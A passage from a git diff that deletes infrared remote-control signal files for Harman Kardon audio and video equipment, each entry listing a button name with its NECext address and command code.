NECext -address: 80 70 00 00 -command: 1D 00 00 00 -# -name: OUTPUT_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1E 00 00 00 -# -name: FOLDER+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1E 00 00 00 -# -name: OUTPUT_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1F 00 00 00 -# -name: FOLDER- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1F 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 40 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 40 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 4D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 4D 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 4D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 4D 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: DISC_SKIP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: DISC_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 51 00 00 00 -# -name: DISC_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 52 00 00 00 -# -name: DISC_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 53 00 00 00 -# -name: DISC_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 54 00 00 00 -# -name: DISC_5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 55 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 56 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 56 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 57 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 57 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 58 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 59 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5B 00 00 00 -# -name: SKIP_DN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5B 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir deleted file mode 100644 index 85a113cec..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 00 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 00 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 01 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 01 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 03 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 03 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 04 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 04 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 05 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 05 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 07 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 07 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0A 00 00 00 -# -name: DELETE -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0A 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0B 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0B 00 00 00 -# -name: REPEAT_1/ALL -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0C 00 00 00 -# -name: 1/ALL -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0C 00 00 00 -# -name: REPEAT_A-B -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0D 00 00 00 -# -name: A<->B -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0D 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0E 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0E 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0F 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 0F 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 10 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 10 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 11 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 11 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 12 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 12 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 13 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 13 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 14 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 14 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 15 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 15 00 00 00 -# -name: PROG/REV -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 16 00 00 00 -# -name: PROG/REV -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 16 00 00 00 -# -name: TAPE_SIZE -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 17 00 00 00 -# -name: TAPE_SIZE -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 17 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 18 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 18 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 19 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 19 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1A 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1C 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1C 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1D 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1D 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1E 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1E 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1F 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 83 4A 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir deleted file mode 100644 index 7d730fede..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 21 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 23 00 00 00 -# -name: TRACKING_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 24 00 00 00 -# -name: TRACKING_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 25 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir deleted file mode 100644 index 2eafa340f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir +++ /dev/null @@ -1,86 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: STOP_[] -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: FF_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: REC/PAUSE_O/ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: REC_MUTE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 07 00 00 00 -# -name: SKIP_FWD_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: SKIP_REV_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 0A 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 0E 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1B 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1C 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir deleted file mode 100644 index 9189d1c83..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir +++ /dev/null @@ -1,728 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: EJECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 20 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 20 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 20 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 21 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 22 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 23 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 23 00 00 00 -# -name: SET-UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 24 00 00 00 -# -name: OSD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 24 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 24 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 25 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 26 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 26 00 00 00 -# -name: PIL_UPP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 26 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 26 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 27 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 27 00 00 00 -# -name: PIL_NER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 27 00 00 00 -# -name: CURSOR_DOWN' -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 27 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 28 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 28 00 00 00 -# -name: NSTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 28 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 28 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 29 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 29 00 00 00 -# -name: GER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 29 00 00 00 -# -name: RIGH -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 29 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2A 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2A 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2B 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2C 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2D 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2E 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: FAST_FOWARD -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 2F 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: PREVIOUS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 30 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: NEXT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 31 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 33 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 35 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 35 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 35 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 36 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 36 00 00 00 -# -name: EZ-MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 39 00 00 00 -# -name: EZMENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 39 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 39 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 39 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3A 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3A 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3A 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3B 00 00 00 -# -name: SLOW_MOTION_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3B 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3B 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3E 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3E 00 00 00 -# -name: TEST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 3F 00 00 00 -# -name: GROUP -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4C 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4C 00 00 00 -# -name: D.MENU -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4C 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4D 00 00 00 -# -name: V.OFF -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 4E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 60 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 61 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 62 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 62 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 63 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 63 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 64 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 64 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 65 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 65 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 66 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 66 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 67 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 67 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 68 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 68 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 69 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 69 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6A 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6A 00 00 00 -# -name: CHECK -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6B 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6C 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6D 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6E 00 00 00 -# -name: PREAT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6E 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6F 00 00 00 -# -name: SIDE_A/B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6F 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 6F 00 00 00 -# -name: PLAYLIST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B0 00 00 00 -# -name: PLAY_LIST -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B0 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B3 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B3 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B3 00 00 00 -# -name: PIC_+ -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B4 00 00 00 -# -name: PIC_- -type: parsed -protocol: NECext -address: 82 72 00 00 -command: B5 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: BB 00 00 00 -# -name: HDMI -type: parsed -protocol: NECext -address: 82 72 00 00 -command: BC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir deleted file mode 100644 index 104d70225..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: CD_SEARCH_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: CD_SEARCH_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0A 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 82 00 00 00 -# -name: TUNING_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNING_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8F 00 00 00 -# -name: SEEK -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 91 00 00 00 -# -name: RECEIVER_POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C2 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C3 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: A/V_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C5 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VCR/TAPE_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VCR/TAPE_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: A/V_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir deleted file mode 100644 index 3e6043463..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CASS_PLAY_> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 01 00 00 00 -# -name: CASS_REV_PLAY_< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 02 00 00 00 -# -name: CASS_STOP_[] -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 03 00 00 00 -# -name: CASS_FFWD_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 04 00 00 00 -# -name: CASS_REW_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 05 00 00 00 -# -name: CASS_REC/PAUSE -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 06 00 00 00 -# -name: CASS_SKIP_>> -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 08 00 00 00 -# -name: CASS_SKIP_<< -type: parsed -protocol: NECext -address: 82 72 00 00 -command: 09 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir deleted file mode 100644 index 198fd52f1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir +++ /dev/null @@ -1,1964 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CD_STOP_[] -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: CD_STOP_(RDS_DISP) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 01 00 00 00 -# -name: CD_PLAY_> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: CD_PLAY_(AF) -type: parsed -protocol: NECext 